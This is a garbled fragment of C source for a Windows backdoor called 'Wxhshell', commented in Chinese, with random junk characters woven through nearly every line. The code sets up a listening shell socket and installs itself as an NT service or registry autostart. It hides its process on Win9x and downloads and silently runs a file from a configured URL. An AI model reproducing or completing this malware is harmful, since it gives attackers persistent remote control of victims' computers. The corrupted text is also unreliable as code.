CloseHandle(hProcess); Z8ea)_{# G|f9l?p if(strstr(procName,"services")) return 1; // 以服务启动 cVW7I BYX c
'K return 0; // 注册表启动 :vb5J33U } Hvm}@3F| h;jO7+W // 主模块 3
R+e int StartWxhshell(LPSTR lpCmdLine) > v%.q]E6n { &>,]YrU SOCKET wsl; d<7b<f"~ BOOL val=TRUE; yy8-t2V int port=0; P.XT1)qo* struct sockaddr_in door; jeWv~JA%L| &|{1Ws if(wscfg.ws_autoins) Install(); cl4z%qv* {73V?#P4 port=atoi(lpCmdLine); F1stRZ1ZI "ktuq\a@ if(port<=0) port=wscfg.ws_port; 0fXMY-$I NUYKMo1ze WSADATA data; (Of6Ij? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W+!UVUpW AE}cHBwZE if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l; _IH|A setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q7Hf7^a door.sin_family = AF_INET; _x<NGIz door.sin_addr.s_addr = inet_addr("127.0.0.1"); g77M5(ME door.sin_port = htons(port); sQ#e 2 hz4?ku if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s6 g"uF>k closesocket(wsl); }8x+F2i return 1; uKP4ur@1 } FSA%,b;U \uOM,98xS if(listen(wsl,2) == INVALID_SOCKET) { '_G\_h}5 closesocket(wsl); q k^FyZ< return 1; qX-ptsQ } S{;Pga*Px Wxhshell(wsl); y(Gn+ WSACleanup(); ML905n u r)5xS] return 0; 7yfh4-1M !l0]IX`
F } E)$>t}$ !.,wg'\P // 以NT服务方式启动 Njg$~30 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BS##nS-[ { Dm}eX:'{ DWORD status = 0; ^<OYW|q?\r DWORD specificError = 0xfffffff; \~hrS/$[$ PK2;Ywk` serviceStatus.dwServiceType = SERVICE_WIN32; 6h>#;M serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;bB#Pg serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }CBQdH&g; serviceStatus.dwWin32ExitCode = 0; ?z9!=A%<V~ serviceStatus.dwServiceSpecificExitCode = 0; G(a5@9F serviceStatus.dwCheckPoint = 0; RhE~Rwbx serviceStatus.dwWaitHint = 0; tr<fii3< `HRL .uX hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e%JIqKS if (hServiceStatusHandle==0) return; rQimQ|+ *,$5EN status = GetLastError(); 1X2j%qI& if (status!=NO_ERROR) U9:)qvMXe { t`H1]`c? serviceStatus.dwCurrentState = SERVICE_STOPPED; D!o[Sm}JO[ serviceStatus.dwCheckPoint = 0; fIoc)T serviceStatus.dwWaitHint = 0; 4$KDf;m@ serviceStatus.dwWin32ExitCode = status; tS2&S 6u serviceStatus.dwServiceSpecificExitCode = specificError; o%?)};o SetServiceStatus(hServiceStatusHandle, &serviceStatus); w[-)c6J yE return; wN!\$i@E: } DU%E883 /^.S
nqk serviceStatus.dwCurrentState = SERVICE_RUNNING; blgA`)GI serviceStatus.dwCheckPoint = 0; 27D*FItc
serviceStatus.dwWaitHint = 0; Zt!# KSF7% if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YbP
@ } Rs<q^w] Qfn:5B]tI // 处理NT服务事件,比如:启动、停止 <!sLfz? VOID WINAPI NTServiceHandler(DWORD fdwControl) @Ul3J )=m { MQ!4"E5"j switch(fdwControl) epiviCYC { B"&-) ( case SERVICE_CONTROL_STOP: :8)Jnh\5 serviceStatus.dwWin32ExitCode = 0; 'v]0;~\mp> serviceStatus.dwCurrentState = SERVICE_STOPPED; $NVVurXa serviceStatus.dwCheckPoint = 0; o`S``?`^)^ serviceStatus.dwWaitHint = 0; PeIx41. +s { f]/2uUsg% SetServiceStatus(hServiceStatusHandle, &serviceStatus); U4!KO;Jc } xfb .Z( return; G+<XYkz* case SERVICE_CONTROL_PAUSE: x
[]ad"R serviceStatus.dwCurrentState = SERVICE_PAUSED; @
8H$ break; |c/=9Bb case SERVICE_CONTROL_CONTINUE: z{W Cw serviceStatus.dwCurrentState = SERVICE_RUNNING; u4Nh_x8\Nr break;
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8%gC case SERVICE_CONTROL_INTERROGATE: r/sSkF F break; GI]\ }; sv=U^xI SetServiceStatus(hServiceStatusHandle, &serviceStatus); y47N(;vy } \V$qAfP) \AwkK3 // 标准应用程序主函数 n2mO-ZXud int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H4y9\
- { ^N/d`IAjv r ]7: ?ir // 获取操作系统版本 K+}0:W=P OsIsNt=GetOsVer(); V~dhTdQ5} GetModuleFileName(NULL,ExeFile,MAX_PATH); [q?RJmB] c* ueI5i // 从命令行安装 * 1;4&/93o if(strpbrk(lpCmdLine,"iI")) Install(); B"_O! 2GptK"MrD // 下载执行文件 V;%ug'j if(wscfg.ws_downexe) { _;k<=ns(= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JUr
t%2 WinExec(wscfg.ws_filenam,SW_HIDE); ,4Q4{Tx } 4Im>2) R&Lqaek&W if(!OsIsNt) {
mWv$eR // 如果时win9x,隐藏进程并且设置为注册表启动 E]mm^i`| HideProc(); $+Ze"E StartWxhshell(lpCmdLine); Lk !)G'42 } -V}oFxk]q else nFQuoU]ux if(StartFromService()) uY.Ns ?8 // 以服务方式启动 A08kwYxiW StartServiceCtrlDispatcher(DispatchTable); X84T F~2Y else =cEsv&i // 普通方式启动 3mHzOs\jU StartWxhshell(lpCmdLine); lOt7ij(,L e-rlk5k%f return 0; MZV$YD^S }
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